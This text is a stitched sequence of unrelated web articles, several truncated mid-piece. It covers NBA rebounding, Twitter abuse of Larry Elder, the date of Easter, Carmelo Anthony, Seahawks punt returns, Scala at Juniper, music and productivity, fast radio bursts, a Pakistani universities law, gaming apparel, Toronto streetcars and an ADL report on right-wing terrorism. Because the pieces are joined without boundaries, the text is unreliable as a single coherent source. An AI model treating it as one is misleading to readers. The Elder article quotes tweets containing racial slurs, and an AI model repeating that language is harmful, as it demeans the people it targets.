Likewise, on the other side of the ball, the Heat are letting teams shoot at 47% from the field and rank 27th in the NBA in opponents FG%. Less misses = less chances to rebound. The Golden State Warriors currently are holding teams to an NBA best 41% FG. They're also 3rd in the NBA in rebounds! Does Andrew Bogut scare you? No, but more misses = more rebounds. And that's all without David Lee.
There's still an issue
In 18 games this season, the Heat have only out-rebounded their opposition 4 times. They have a rebounding issue. Does it mean they are the worst rebounding team in the NBA? I don't know that's true. They have fewer opportunities to rebound, and they aren't giving up massive amounts of rebounds to their opponents (once again, the Heat rank 7th in FG% at 46%).
Miami certainly needs to do better on the glass. That will help when the begin to keep players out of the paint. Miami isn't playing small ball anymore this year (unless you count Shawne Williams as small). They are using lineups that can and should rebound, but they are below average.
I'm just not convinced that they are the worst rebounding team in the NBA.Yesterday, CNN host Piers Morgan challenged conservative talk radio host Larry Elder to a debate. Elder accepted, and the result — televised earlier tonight on Morgan’s show — was a riveting debate about race in America. Elder blasted the host’s patronizing treatment of Rachel Jeantel (in particular, Morgan’s characterization of Jeantel as “one smart cookie”), and spoke hard truths about the prevalence of white-on-black vis-a-vis black-on-black violence in America. Not only that, but he triggered some of the most vitriolic Twitter attacks on a minority conservative that we’ve seen since actress Stacey Dash endorsed Mitt Romney for President.
The response? Well there was a lot, but one unhinged critic stuck out:
https://twitter.com/RaeiaTheVillain/status/357668087102836737
https://twitter.com/RaeiaTheVillain/status/357669346065137666
https://twitter.com/RaeiaTheVillain/status/357670780659703808
https://twitter.com/RaeiaTheVillain/status/357671502696546305
https://twitter.com/RaeiaTheVillain/status/357671626390777857
https://twitter.com/RaeiaTheVillain/status/357672492913008640
https://twitter.com/RaeiaTheVillain/status/357672955322437633
DO YOU APPLY LIP CHAP BEFORE OR AFTER YOU'RE DONE KISSING YOUR PEERS ASS WHO LOOK DOWN ON YOU AS ANOTHER NIGGER @larryelder — Black Dahlia 1.24 (@RaeiaTheVillain) July 18, 2013
https://twitter.com/RaeiaTheVillain/status/357675566427680768
https://twitter.com/RaeiaTheVillain/status/357681293510705152
https://twitter.com/RaeiaTheVillain/status/357681775503343616
Elder, of course, responded to all the bigotry with his usual grace:
Read some of the comments. Note the most vulgar ones come without any counter to any point I made. Oh,how much "hate myself", etc. — Larry Elder (@larryelder) July 18, 2013
So because I say TM-GZ is an "aberration", I "hate myself" Somehow, I've managed to avoid suicide for 61 years. But there's still time. — Larry Elder (@larryelder) July 18, 2013
Unfortunately, Raeia was not alone in her sentiments.
https://twitter.com/Queer123Lindani/status/357669345343705090
https://twitter.com/Chill_kooZ_gone/status/357667790905286656
https://twitter.com/abdirmo/status/357667521609998337
LARRY ELDER on Piers show,is vile bootlicker uncle Ruckus negro and they reason why racist whites call u nigger! — Pharoahnubian (@Pharoahnubian) July 18, 2013
https://twitter.com/OtaconHD/status/357427527251267584
How can he sleep at night? @larryelder if u see this man out in the street call him a house nigga! He knows his name — Joseph El Jefe (@I_AMJOEY) July 18, 2013
If these people want to see what a real racist looks like, they should take a look in the mirror sometime.Expect plenty of these creepy egg munchers next year (Picture: MylesGoode)
This year’s Easter weekend has kicked off to a gloriously sunny start for many.
It’s helped by the Bank Holiday falling in the middle of April, rather than at the end of March.
But in 2018, not only will we be chasing white rabbits rather than bunnies, we’ll probably all be chasing Wombles, Clangers and Ewoks around the garden instead of hunting for eggs.
Yes… that’s because Easter 2018 will coincide with April Fools’ Day – the 1st of April 2018.
And no, this isn’t a joke. Good Friday will fall on March 30, Holy Saturday on March 31 and Easter Monday on April 2.
The date Easter Sunday falls varies every year.
It can fall as early as March or even as late as May (according to the Gregorian calendar) with the eastern church.
The reason the date changes so much is because Easter must fall on ‘the first Sunday after the vernal equinox – i.e the first full moon after March 21’.
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However, Easter does vary in date around the world due to churches following different calendars.
The western church follows the Gregorian calendar while the eastern church is based on the Julian calendar.
There is a 13-day difference between the two due to adding leap days to keep the calendars in sync with the solar year.
The Gregorian and Julian calendars add leap days every four years, but the Gregorian skips leap days at the turn of centuries (unless that year is divisible by 400), as explained by Rev David Holwick.
‘Since the Julian calendar doesn’t do this, it gains about three days every four centuries. The Orthodox church uses the Julian calendar and so its Christmas and Easter are almost always different (Easter adds even more complexity because it has a lunar dimension as well),’ he said.
‘The 13-day difference will grow over time until the Orthodox Christmas is in July (and eventually on the same December 25 as Catholics).’
What is Easter all about?
Hunting down the Easter bunny and scoffing chocolate eggs might be the what most people do around Easter time, but the public holiday is actually the day Jesus is said to have risen from the dead.
This is a huge celebration for Christians, not only because Jesus came back to them, but also because his return demonstrated that there must be an afterlife.
On Easter Sunday itself, the bible tells how Mary Magdalene visited Jesus’s tomb and discovered that the stone entrance had been removed and his body was missing.
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Why is the day called Easter?
Eating Easter Egg (Picture: Getty)
There isn’t actually a reference to Easter in the bible – neither is there a reference to Christmas – so the origins of the word are thought to have come much later.
Some believe that the name ‘Easter’ comes from Pagan times when the goddess of fertility and spring – ‘Eastra’ – was worshipped.
Others believe the word dates back to the Frankish church who celebrated the ‘alba’ (sunrise) when celebrating Christ’s resurrection, a word that translates as ‘Ostern’ in German, which some suggest then evolved into ‘Easter’.
How is Easter celebrated?
Easter
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God is my witness, I love the youth of this church. I believe in you. I’m pulling for you. And I’m not the only one. Parents are pulling for you, leaders are pulling for you, and prophets are pulling for you. And Jesus is pulling with you. I say this in the name of Jesus Christ, amen.
Brad Wilcox was serving as a member of the Sunday School General Board of The Church of Jesus Christ of Latter-day Saints as well as a BYU associate professor in the Department of Teacher Education in the David O. McKay School of Education when this devotional address was given on 12 July 2011.
© Brigham Young University. All rights reserved.Carmelo Anthony says he is committed to being in New York and his focus is on basketball. (0:46)
BOSTON -- Sounding as if he is over the entire situation with Phil Jackson, Carmelo Anthony said he is "tired" of having to constantly answer questions about where he might stand with the New York Knicks' president.
Talking to reporters for the first time since his meeting with Jackson, Anthony didn't go into much detail about what was said between the two.
"The conversation wasn't that long," Anthony said at the Knicks' morning shootaround in Boston. "We didn't break bread. We didn't have an hour's conversation. It was a short conversation.
Asked whether he has grown weary of answering questions on the topic, Anthony said, "You get tired of it. I have to face you all every day. I'm the one that's got to have all the answers. I'm the one that's got to kind of make up something. Even when I don't want to talk to you all, I still talk to you all. It happens. That's part of the job."
The Knicks, who entered Wednesday having lost eight of 10, beat the Celtics 117-106. Anthony scored 13 points on 5-of-14 shooting, and Derrick Rose's 30 points led New York.
"It was good to know that we were able to kind of put everything to the side, leave all of that stuff outside the locker room," Anthony said of all the drama surrounding the Knicks. "And when we got on the basketball court, we were able to just focus in on playing basketball."
Sources close to the situation told ESPN's Ramona Shelburne on Tuesday that Jackson asked Anthony during their meeting whether he wanted to remain with the team. Anthony had recently questioned an article written by a Jackson confidant that was critical of Anthony's game, and he and Jackson met earlier this week.
Sources told ESPN's Ian Begley that several members of the organization say it's best for the Knicks and Anthony to part ways at this point. Anthony, however, said there's a reason he has a no-trade clause.
He reiterated that he plans to remain in New York.
"I think, as players, you always want to protect yourself," Anthony said when asked whether he foresaw this situation with Jackson when he had a no-trade clause put in his contract. "I didn't think it would get to this point. I think, as a player, if you can get [a no-trade clause], you have a right to protect yourself and take care of yourself when it comes to that. It's very hard to get, very difficult to get. I have it, and that's that.
"I'm committed [to staying]. I don't have to prove that to anybody. I don't think I have to keep saying that. I don't think I have to keep talking about that. I know for a fact that people see that."
An exasperated Anthony said he is done wondering why his name comes up when it comes to Jackson's thoughts about his game or his future.
"I'm done asking why," Anthony said. "My focus is playing ball at this point."
Anthony was asked whether he is confused by the situation at all.
"I'm never confused," he said. "A lot of situations I have a lot of clarity about. Knowing that is already winning half the battle. When you have clarity, when you understand situations, this one or any other situations on life in general, you have a better understanding going into the situation."
Anthony added that he and Jackson speak when necessary.
"We converse when we converse. We talk when we talk," Anthony said. "Leave it at that."
Anthony said he did not ask whether the recent article by a Jackson confidant depicted how Jackson feels about him.
"No, at this point, I don't need to hear that," Anthony said. "I don't need to hear it was him or it wasn't him. I didn't read the article, to be honest with you. I saw the headlines. I knew what it was from that point on."
Anthony said he is "numb" to the amount of drama that has followed him this season, from the critical comments about him in former Nuggets coach George Karl's book to the latest predicament with Jackson.
"Yeah, I'm numb. It's water off my back at this point," said Anthony, who repeatedly said he doesn't want to be a distraction to his teammates. "That [Karl] situation, we all know what that was about. He was trying to sell something. In this situation, you almost have to pay a little bit closer attention to it because you have to deal with it on a day-to-day basis.
"Other than [that], I'm fine, man. I'm good mentally. I'm good. Trust me."By Michael Cohodes Payant
Special to 710Sports.com
With the Seahawks’ opener just two weeks away, few questions remain as unsettled as who will replace Golden Tate as the team’s punt returner. Speaking on 710 ESPN Seattle’s “Bob and Groz” Tuesday, wide receiver Doug Baldwin said the team is still far from a decision on who will return punts this season.
“I will just go ahead and say this, we need to find a punt returner,” Baldwin said. “I think that we got a long ways to go before we can replace Golden.”
Tate signed with the Lions this offseason in free agency, leaving a void for the team to fill not only at receiver but on special teams as well. His 11.5 yards-per-return average ranked ninth in the NFL among qualifying players last season and his 585 total punt return yards were second in the league behind only Kansas City’s Dexter McCluster.
Among the candidates to fill Tate’s role are Baldwin, free safety Earl Thomas, cornerback Richard Sherman and wide receivers Percy Harvin and Bryan Walters.
So far this preseason, Thomas has gotten the bulk of the action returning punts while Sherman is also among those taking reps at practice. Baldwin doesn’t think either of the two – each of whom are viewed as among the best at their respective positions – should be returning punts.
“As much as I love Earl, he doesn’t need to be back there,” Baldwin joked. “He’s awful at it and Sherm is even worse.”
Unlike many who are skeptical of the decision to potentially use one of the team’s defensive stars on punt returns, Baldwin doesn’t view the risk of injury as a deterring factor.
“I get the sentiment about that, that they’re worried about Sherm or Earl getting hurt because they’re tops at their position,” Baldwin said. “That punt return rep is going to be crucial to us somewhere along the line and we need the best guy back there as well as the best guys up there blocking for them.”
The fear of injury also applies to Harvin, who is expected to be the team’s primary kickoff returner but is also in consideration to return punts.
Perhaps the most intriguing candidate for the position is Walters, a player vying to make the team at one of its most competitive positions. If Walters were to emerge as the best candidate, it would help his case for a roster spot.
Baldwin, who has also taken some reps at punt returner during practice, says he’s a “fantastic” returner, but expects his status as “self-proclaimed one of the best blockers on punt returns” removes him from consideration.Advertisement
Details are slim since neither Juniper or Typesafe will say what — if any — technology Scala and Akka will replace — there are current Juniper job postings seeking programmers with Java, C and C++ experience. Nor did the companies detail what products Scala and Akka will be used for. Still, the endorsement by a big network hardware company is worth noting.
In a statement, Will Eatherton, VP of engineering for Juniper’s core routing business, said that the Typesafe Stack — including Scala and Akka bring a “fresh approach to software development.” Using those tools, he added, Juniper developers will be able to “quickly and reliably create distributed software based on Akka middleware that can scale to take advantage of modern multi-core processors.”
That statement gets to what makes Scala special. The language makes it easier to write code for multiple processor cores and Akka eases creation of distributed applications that run across many servers.
Typesafe recruits new CEO from VMware
To boost Scala’s profile, Typesafe earlier this month brought aboard a new CEO in Mark Brewer, former VP of business operations for VMware’s Cloud Application Platform. Brewer also joined the board, joining Martin Odersky, Typesafe Chairman and Chief Architect, Bill Kaiser, and François Stieger.
Brewer said while at Springsource and then at VMware, (he joined VMware when it acquired Springsource three years ago) he kept an eye on Scala’s and Akka’s progress and was intrigued by what he saw.
“Akka is really the best lightweight, distributed platform for running Java or Scala apps — it runs across cloud in a very light fashion — we couldn’t do that at VMware. And we started to see adoption in the enterprise — not just in web property companies,” he said. “LinkedIn(s lnkd) and Twitter use Scala for its performance but now we’re seeing Scala and Akka in use at more traditional enterprises,” Brewer told me in a recent interview.
Booming demand for Scala and Akka
He points to significant growth in the past 12 months with downloads of Scala more than doubling from 28,000 to 60,000 and Akka downloads quadrupling from 4000 to 20,000 in that period.
And, while he does not see the Scala/Akka tandem competing with VMware’s software development stable now given that many Spring projects can work with Scala projects, that will change:
“We’re not competitive today but most definitely in the future we’ll compete with VMware,” he said.
According to Github, the bible of software developers, Scala is now the 17th most-watched programming language, after such crowd pleasers as JavaScript, Ruby, Python, Java, C++ and others, but is coming up fast, Brewer said.Nothing has more of a negative impact on my workday than forgetting my headphones.
Like most people, music is a huge part of my life. I listen to the most music while I work, sifting through playlists, from neo classical to indie to electronica on what seems like a never-ending search for the perfect tunes to keep me in the zone.
We spend so many of our days at work, and so much of our workdays in front of a screen, that music has become indispensable in keeping us happy, motivated, and productive.
But are all songs made the same? Or are there perfect tracks for certain tasks?
Why we’re addicted to music
I’m sure you don’t need a scientist to tell you how music can help you get through a work day.
We turn to our favorite songs in times of need: when we’re feeling low and need a pick-me-up, or when we’re happy and want to keep the flow going.
As neuroscientist and musician Jamshed Bharucha discovered, there’s something primal about why we love music. Bharucha found that creative domains such as music allow humans to connect in a synchronized way, helping us develop a group identity and become more likely to work together.
A recent study of preschoolers furthered this idea. The study paired children together in sets of two with one group told to sing a song together, while the others just walked (or crawled) around together.
The pairs were then given tubes full of marbles that were designed to empty once the children started playing with them.
Looking at the behavior of the pairs, the researchers found that those children who sang together were more cooperative in helping to clean up the marbles and concluded that music may have evolved as a way of fostering a sense of community and developing immediate empathetic concern.
But our love of music isn’t just cultural. When you listen to your favorite tracks, a part of your brain called the nucleus accumbent activates, triggering a release of the ‘motivation and pleasure chemical’ dopamine, which lives in a group of neurons in your brain called the Ventral Tegmental Area (VTA):
Dopamine is the same chemical that gets released when you eat your favorite food or when you get a new follower on Twitter, causing you to want more (and more, and more).
Yet, just like after your first 100 or so followers (or your 1000th pizza), there is a law of diminishing returns. When you first hear a new song that you love, more dopamine is released and you get more excited than if you were to listen to one of your ‘old favourites’.
So does music actually help us work?
Music has a powerful relationship to our primal needs of connecting with others, but how does this translate over to our workdays?
A study published in the Journal of Music Therapy found that listening to your favorite type of music lowers your perception of tension, making you more likely to be happier and productive during stressful situations (like at work).
But beyond just ‘listen to music you like’, there are some golden rules for picking the perfect song for the type of work you’re doing.
1. For simple tasks, choose music you’re heard before
A study published in the Journal of Neuroscience of Behaviour and Physiology found that a person’s ability to recognize images, letters, and numbers was faster when rock or classical music was playing in the background compared to when there was no music.
Similarly, another study found that workers on an assembly line were more happy, efficient, and made less errors when listening to music.
Other researchers documented that performance improves while listening to music if the task is perceived as ‘simple’ or monotonous like answering email or copying data into a file.
When it comes to repetitive or boring tasks, as long as you’re listening to something, you’ll get them done faster.
2. Lose the lyrics when you’re learning
For more immersive and mentally tasking jobs, classical or instrumental music has been shown to enhance mental performance more than music with lyrics.
If the task at hand is especially complex, shutting out all outside stimuli (including music) is your best bet. Even faint musical chords playing in the background can cause cognitive interference—when your performance declines because your brain must dedicate resources to help you process both the task and the music.
3. Jam out during work you love
The magic of music comes into play the most when you’re an expert at what you’re doing. Even if it’s something as challenging as surgery.
A study in the Journal of the American Medial Association reported that surgeons worked more accurately when music they liked was playing in the background.
But you don’t have to be a medical professional to benefit from good jams. Bestselling author Stephen King jams out to Metallica and Anthrax while writing.
4. Hit the sweet spot during creative work
When you need to focus, studies suggest that songs paced at 50 to 80 beats per minute are best.
Dr. Emma Gray of The British CBT and Counseling Service worked with Spotify to conduct research on the benefits of certain types of music.
Gray’s research found that musical tempo in the range of 50 to 80 beats per minute can help induce the alpha state in your brain. Your mind becomes calm, alert, and concentration is heightened.
Alpha waves have also been associated with the ‘eureka moment’ — a flash of unique insight that triggers when you enter a relaxed, yet focused state of mind.
In her findings, Gray notes that it’s not the musical genre but the tempo that has the most to do with creating a state of flow.
To sum it all up, here’s a graph of what kind of music to listen to depending on what task you’re doing:
➤ This post originally appeared on Crew
Read next: The secret to insane productivity? Will power
Image credit: Corey Blaz
Read next: Big data and creativity: What we can learn from 'House of Cards'Mark Garlick/SPL/Getty
A gigantic but fleeting burst of radio waves has been caught in the act for the first time, helping to narrow down the vast array of things that might cause them. Figuring out what these fast radio bursts are or where they come from could help answer some of the biggest cosmological questions.
They last about a millisecond but give off as much energy as the sun does in a day, all seemingly in a tight band of radio-frequency waves.
Their source is a mystery, but whatever causes them must be huge, cataclysmic and up to 5.5 billion light years away, says Emily Petroff of Swinburne University in Melbourne, Australia.
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A top contender is the collapse of an oversized neutron star that should have given way to a black hole long ago, but was spinning so fast that relativity made it seem lighter. But other possibilities include a flare from a magnetar, a type of neutron star with an extremely strong magnetic field.
A total of nine fast radio bursts have been reported since the first was discovered in 2007, but all of them were found weeks or years after the actual event by sifting through old data.
No afterglow
Now, using the Parkes Telescope in New South Wales, Australia, Petroff has caught one in the act.
“This is a major breakthrough,” says Duncan Lorimer of West Virginia University in Morgantown, who was part of the team that discovered the first fast radio burst.
Within about seven hours, other telescopes around the world started to point towards the source, which was near the constellation Aquarius. None of them saw any afterglow at all, which is itself an interesting finding, Petroff says. That rules out some of the less likely sources like long gamma-ray bursts or supernovae.
“Whatever causes them must be huge, cataclysmic and up to 5.5 billion light years away”
The Parkes Telescope data alone revealed a new property of the bursts: the waves appear to be circularly polarised rather than linearly polarised, which means they vibrate in two planes, rather than one. “It’s something nobody has ever measured before,” Petroff says. But it’s hard to know how to interpret it, she says.
Cosmic rainbow
Keith Bannister from the CSIRO, Australia’s national science agency, in Sydney agrees. “Nobody knows what to make of it,” he says. “All the ideas are very exotic so ruling them out is all you can do at the moment.”
Lorimer hopes that soon astronomers will detect a burst in another frequency range, allowing it to be conclusively associated with something – a galaxy, a region of a galaxy, or even a region of intergalactic space.
If the source can be found, it will help to calculate the density of the interstellar medium for the first time, Petroff says. As the signal passes through the free electrons between stars, it is dispersed like a rainbow, with “bluer” or higher frequency waves hitting us first. The denser the medium, the greater the dispersion. Knowing the density of this medium and how it has changed over time will be a key test for theories of how the universe evolved.
Journal reference: Monthly Notices of the Royal Astronomical Society, accepted, arxiv.org/abs/1412.0342
Like this? Read “Is this ET? Mystery of strange radio bursts from space“
When this article was first published, it referred to fast radio bursts as "blitzars", but blitzars are just one possible account of what FRBs might be. And the figure we initially gave for the amount of energy that the blasts give off in a millisecond was significantly overblown. Both things have now been corrected.PESHAWAR: Making amendments to the relevant law, the Khyber Pakhtunkhwa Assembly on Friday reduced the tenure of vice chancellors of government universities in the province and empowered the chancellor to remove vice chancellors without recommendation of the senates of the relevant universities.
The assembly passed the long-awaited Khyber Pakhtunkhwa Universities (Amendment) Bill, 2015, which had drawn flak from the vice chancellors and teachers association, and made vital changes to the Khyber Pakhtunkhwa Universities Act 2012, under which government universities have been governed.
In the amended law, the tenure of vice chancellors was reduced from four to three years.
Through these amendments, the powers of the chancellor of the public sector universities, who is the Khyber Pakhtunkhwa Governor, have been enhanced.
Previously, the chancellor could only remove the vice chancellor of the university on the recommendation of the relevant university’s senate.
Now, lawmakers have included a new clause in the Act empowering the governor that “in case of substantiated allegations of gross misconduct, in-efficiency, corruption, violation of budget provisions, moral turpitude, remove the vice-chancellor, at his own discretion, after giving him an opportunity to show cause against such removal.”
Also, the VCs can be removed by the chancellor after a resolution passed by the senate with simple majority on the above allegation against the VCs.
Empowers chancellor to remove VCs without advice of varsity senates
Previously, the senate was required to passed the resolution about VCs removal by two third majority.
Now, the VC will be appointed for one tenure of three years on such terms and conditions as may be determined by government and his tenure could only be extended once in the same university.
Currently, an influential VC of a public sector university has been serving for 12 years by obtaining three extensions.
With amendments to the law, even the influential VCs would not be able to serve more than six years.
With amendments to the law, the search committee for vice chancellors have also been depoliticised by excluding minister for higher education and a lawmaker heading the assembly standing committee on higher education department.
Now the search committee will consists of chief secretary, three eminent members of the society, with experience in education, administration or social work, two members of the senate and secretary of HED.
For the first time, with the amendments to the law, the government was empowered to carry out financial and performance audit of all activities carried out by the universities out of the funds provided by national and provincial exchequer, grants and loan whether local or foreign.
Miraj Humayoun had introduced amendments demanding 30 percent representation of women in senate. However, the government agreed on only four women in the senate.
Also, controller of examinations and register would not be appointed from the superannuated employees retired from the government universities and teaching faculties.
Under the present amendments, the oldest university in the province, University of Peshawar (UoP), has also been included in the schedule of this law along with four other universities. Earlier, UoP had a separate law while rest of the universities were functioning under the Khyber Pakhtunkhwa Universities Act, 2012.
Three universities, which are in the making and whose names are included in the schedule, are University of Technology, Nowshera, Abbottabad University of Science and Technology and Women University Mardan.
The members from opposition whose amendments were incorporated are Zarin Gul, Sardar Hussain Babak, Sikandar Hayat Khan, Syed Mohammad Ali Shah, Aneesa Zaib Tahirkheli, Meraj Hamayun Khan, Sobia Shahid and others.
The bill was tabled by Higher Education Minister Mushtaq Ahmed Ghani.
After the passage of the amended act, the mover said administrative and academic improvement would be witnessed in the public sector universities.
The minister said corruption and irregularities would be stopped with changes in the law.
source : Published in Dawn, May 9th, 2015KontrolFreek seemingly wants to become the Under Armour for e-sports players. Today the company released its “Performance Gaming Wear,” which it says is the first apparel line specifically designed to make gamers better at gaming. The line, which debuted at the December Major League Gaming Vegas tournament, consists of a hoodie and a pair of “gaming shorts.” While athletes require breathable shorts, or temperature-controlled shirts, e-sports players have different needs. KontrolFreek thinks it’s adequately addressed them.
For one, gamers’ hands get sweaty and sticky. Where are they supposed to dry their hands? A towel? Their jeans? Their regular sweatpants? Definitely not. KontrolFreek’s hoodie and shorts feature certain areas made of moisture-wicking fabric so players can wipe their hands. KontrolFreek writes that this material allows gamers “to easily dry their palms and fingers, mitigating thumb slippage to increase control and accuracy.” This sounds like a feature that might be useful, just make sure to wash those shorts after wearing them for obvious reasons.
What else has KontrolFreek thought through? The hoodie has an oversized hood to fit headphones while also providing a “sense of enclosure, increasing [gamers’] ability to focus.” The shorts have “extra-deep” pockets and a “low-waist design” that falls slightly above the knee when sitting. Basically, they’re basketball shorts with special wicking material.
Both the shorts and hoodie are available now for $35.99 and $65.99, respectively. I just wish I just didn’t have to write the word “freek” so many times.TTC riders on Spadina and Bathurst will be the first to ride the city’s long-anticipated new streetcars when they roll out next year. Kingston Rd. and Carlton car riders, however, will be waiting until 2018 to 2019 for their turn. An implementation plan for the new fleet of accessible, air-conditioned Bombardier streetcars shows that some routes will have less frequent service in the rush hours. In some cases riders will wait more than an extra two minutes. But the less frequent service will be offset by bigger capacity and greater reliability, promised TTC spokesman Brad Ross. MORE ON THESTAR.COM TTC’s new streetcar takes early morning maiden voyage down Bathurst St.
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“We would argue that what’s more important than a scheduled headway (frequency) is reliability. With a larger car you eliminate some of the issues you run into with bunching. If you have greater headways, you in theory have improved reliability,” said Ross. The new longer streetcars can carry up to 251 riders, nearly twice as many as one of the current CLRV streetcars and more than the 204 people who can pack onto one of the articulated cars currently running on the TTC’s 11 downtown routes.
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But there will be fewer of the new models, with only 204 in the new fleet compared with 247 of the existing ALRVs and CLRVs. Only about 190 streetcars are in service each day; the rest are in maintenance. But there will always be some cars in the new fleet also in maintenance, Ross said. “We’re doing Spadina first because we wanted the first streetcar to be on a right-of-way, on a route with a terminal where the stations are accessible — Spadina and Union,” he said. It hasn’t been decided whether the old fleet and the new will co-exist on the same route as the newer cars roll out.
The TTC shows off the first of its new streetcars last November; three are currently in the testing phase and will be on the streets officially next year. ( CARLOS OSORIO / TORONTO STAR )
Read more about:Read ADL's comprehensive report, A Dark and Constant Rage: 25 Years of Right-Wing Terrorism in the United States (PDF).
In March 2017, a white supremacist from Maryland, James Harris Jackson, traveled to New York City with the alleged intention of launching a series of violent attacks on black men to discourage white women from having relationships with black men. After several days, Jackson chose his first victim, a 66-year old black homeless man, Timothy Caughman. Jackson later allegedly admitted that he had stabbed Caughman with a small sword he had brought with him, describing the murder as a “practice run.”
However, after the killing, Jackson’s angry energy dissipated and he turned himself over to the authorities. A week later, New York prosecutors announced that they were charging him with second-degree murder as a hate crime and also with a state charge of terrorism.
Jackson’s aborted killing spree was a shocking example of right-wing terror in the United States but it was unfortunately far from an isolated example.
For over a century and a half, since “burning Kansas” of the 1850s and the Ku Klux Klan of the 1860s, right-wing terrorism has been an unwelcome feature of the American landscape. Yet today, many people are barely aware that it exists and most people don’t recognize its frequency or scope.
Far more attention in recent years has been given to the threat of homegrown radical Islamic terror—a danger that has generated such horrific acts as the Orlando and San Bernardino shooting sprees. Yet the very real specter of radical Islamic terror in the United States has existed alongside an equally serious threat of terror from right-wing extremist groups and individuals.
Both movements have generated shooting sprees, bombings, and a wide variety of plots and conspiracies. Both pose threats so significant that to ignore either would be to invite tragedy.
To illustrate the threat of right-wing terrorism in the United States, the Anti-Defamation League’s Center on Extremism has compiled a list of 150 right-wing terrorist acts, attempted acts, plots and conspiracies from the past 25 years (1993-2017). These include terrorist incidents from a wide variety of white supremacists, from neo-Nazis to Klansmen to racist skinheads, as well as incidents connected to anti-government extremists such as militia groups, sovereign citizens and tax protesters. The list also includes incidents of anti-abortion terror as well as from other, smaller right-wing extremist movements.
ADL’s Center on Extremism defines terrorism as a pre-planned act or attempted act of significant violence by one or more non-state actors in order to further an ideological, social or religious cause, or to harm perceived opponents of such causes. Significant violent acts can include bombings or use of other weapons of mass destruction, assassinations and targeted killings, shooting sprees, arsons and firebombings, kidnappings and hostage situations and, in some cases, armed robberies. Domestic terrorism consists of acts or attempted acts of terrorism in which the perpetrators are citizens or permanent residents of the country in which the act takes place.
The right-wing terrorist incidents in ADL’s list include those that best fit the above criteria. They are drawn from the much larger pool of violent and criminal acts that American right-wing extremists engage in every year, from hate crimes to deadly encounters with law enforcement. Right-wing extremists annually murder a number of Americans, but only some of those murders occur in connection with terrorist acts. There are, after all, hundreds of thousands of adherents of right-wing extremist movements in the United States and all such movements have some degree of association with criminal activity. No one should think, therefore, that the incidents listed here represent the breadth of right-wing violence in the U.S. But, as acts of terrorism, they do show right-wing movements at their most vicious and ambitious.
The Perpetrators
The people who committed or attempted the terrorist acts listed here came from a variety of right-wing extremist movements. In a few cases, extremists connected to terror incidents here even adhered to more than one right-wing extremist movement; in such cases, the seemingly dominant ideology was selected for statistical purposes. Oklahoma City bomber Timothy McVeigh, for example, was primarily an anti-government extremist but also had white supremacist leanings. Richard Poplawski, who gunned down three police officers in Pittsburgh, was a white supremacist who also had leanings towards the anti-government movement.
Most right-wing extremists in the United States fall into one of two broad umbrella movements or spheres: white supremacists and anti-government extremists. An overwhelming majority of the terror incidents listed here (85%) were committed by adherents of one of these two spheres. Moreover, the number of acts attributed to each sphere is almost identical: 64 terror incidents are related to white supremacists, while 63 are related to anti-government extremists. Many people, when picturing right-wing terrorism, tend to think of white supremacists, but anti-government extremists such as militia groups and sovereign citizens pose just as much of a threat.
White supremacists involved in right-wing terror incidents include adherents of every major segment of the white supremacist movement, including neo-Nazis, racist skinheads, “traditional” white supremacists (such as Ku Klux Klan groups), white supremacist prison gangs, the religious sect Christian Identity, and the Alt Right. Leaving aside dual-movement extremists such as Timothy McVeigh, the worst white supremacist terrorist was Dylann Roof, a “traditional” white supremacist who embarked upon a deadly shooting spree at the Emanuel AME church in Charleston, South Carolina, in 2015, killing nine.
The anti-government extremists, who are often collectively termed the “Patriot” movement, consist primarily of adherents of the tax protest movement, the sovereign citizen movement, and the militia movement (with the latter including Oath Keepers and Three Percenters). Though the “Patriot” movement goes back to the mid-1960s, it was in the mid-1990s that it really came into its own in terms of becoming a major domestic terrorist threat, one that equaled the threat posed by white supremacists. Oklahoma City bombers Timothy McVeigh and Terry Nichols were dedicated adherents of the “Patriot” movement and their 1995 attack on the Murrah Federal Building gave notice that anti-government extremists now posed a major threat.
It is common for the media and others to assume that anti-government extremists are also mostly white supremacists, but this is not the case. Though there is some overlap between the two spheres, the main anti-government extremist movements direct their anger at the government and there have always been people of color in these movements.
Indeed, the sovereign citizen movement in particular has unfortunately seen particularly strong growth within the African-American community in recent years. Two of the sovereign-citizen related incidents on this list, the LaPlace, Louisiana, shootings in 2012 and the Columbus, Ohio, bomb-making attempt in 2016, involved African-Americans. Two incidents not included on this list involved extremists who were primarily black nationalists but who had secondary sovereign citizen affiliations: the 2014 plot by two men to blow up the Gateway Arch and kill law enforcement officials in St. Louis, Missouri, and the 2016 deadly ambush killings of three police officers in Baton Rouge, Louisiana.
The militia movement has spent much of its history trying to distance itself from accusations of racism or white supremacy but in recent years much of the movement has willingly embraced a particular type of bigotry: anti-Muslim hatred. This Islamophobia has taken numerous forms, from armed protests in front of mosques to a major terrorist plot in October 2016 in Garden City, Kansas, where three militia members were arrested in connection with an alleged plot to blow up an apartment complex that primarily housed Muslim Somali-American residents. The militia movement could produce more such terror attempts aimed at Muslims in the future.
Anti-abortion extremists are responsible for 11% of the terror incidents collected here. Compared to the incidents connected to white supremacists or anti-government extremists, the number of abortion related terror attacks and attempts is low. However, given the small number of anti-abortion extremists relative to adherents of the other, much larger movements, the consistent stream of terror incidents that flow from this movement is worrisome.
Anti-abortion extremists are an example of what is called “single-issue extremism.” Single-issue extremists are typically the extreme wing of a broader, more mainstream movement dedicated to a single cause or issue. While most people in those movements would not think of committing acts of violence, adherents of the extreme wing of those movements are more likely to consider violent activity, operating under a sense of extreme urgency and with a conviction that the ends justify the means. A few other right-wing single issue extremists, such as anti-Muslim extremists and anti-immigration extremists, have also committed violent acts included among the 150 listed here.
All of the perpetrators and alleged perpetrators listed in this report have ties to extremist ideologies, but not all of them actually have had connections to specific extremist groups. Indeed, “terrorist groups” as such—i.e., groups that form and exist largely for the purpose of committing terrorist acts—are rare in the United States, where the rule of law is strong and such groups have great difficulties in finding purchase. Even when extremists are connected to specific groups, they rarely commit their actions at the direction of the group. Rather, extremist groups in the United States tend to serve a purpose of radicalization more than anything else, whether of their own members or, as in the case of Dylann Roof, of non-members who may be influenced by their propaganda.
The perpetrators of some of the incidents on this list were part of formal groups, while others were essentially involved in “cells”—informal associations of extremists banding together to commit an act. But just as common as these two types were lone offenders—the “lone wolf” terrorists responsible for a large number of America’s terror incidents. Indeed, approximately half of the 150 incidents listed in this report involved lone wolf offenders. Today, thanks to the Internet, it is easier than ever for someone to become steeped in extremist ideologies, even to the point of being willing to commit acts of great violence, without ever being involved in an organized extremist group.
The Incidents
